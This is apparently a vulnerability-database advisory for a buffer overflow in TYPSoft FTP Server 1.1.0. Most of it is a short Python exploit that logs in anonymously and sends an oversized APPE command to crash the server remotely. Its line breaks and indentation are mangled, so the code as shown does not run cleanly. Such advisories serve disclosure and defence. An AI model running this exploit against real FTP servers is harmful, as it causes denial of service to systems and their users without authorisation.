source: https://www.securityfocus.com/bid/52554/info
TYPSoft FTP Server is prone to a buffer-overflow vulnerability.
An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
TYPSoft FTP Server 1.1.0 is vulnerable; other versions may also be affected.#!/usr/bin/python
import socket, sys
if len(sys.argv)!= 2:
print '\n\t[*] Usage: ./'+ sys.argv[0]+' <target host>'
sys.exit(1)
print '\n\t[*] TypesoftFTP Server 1.1 Remote DoS (APPE) by Brock Haun'
host = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A../'+'\x41'*100
print '\n\t[*] Sending crash buffer ("A../ + \x41 * 100").'
s.connect((host,21))data = s.recv(1024)
s.send('USER anonymous'+'\r\n')data = s.recv(1024)
s.send('PASS anonymous'+'\r\n')data = s.recv(1024)
s.send('APPE '+ buffer +'\r\n')
print '\n\t[*] Done! Target should be unresponsive!'
s.close()
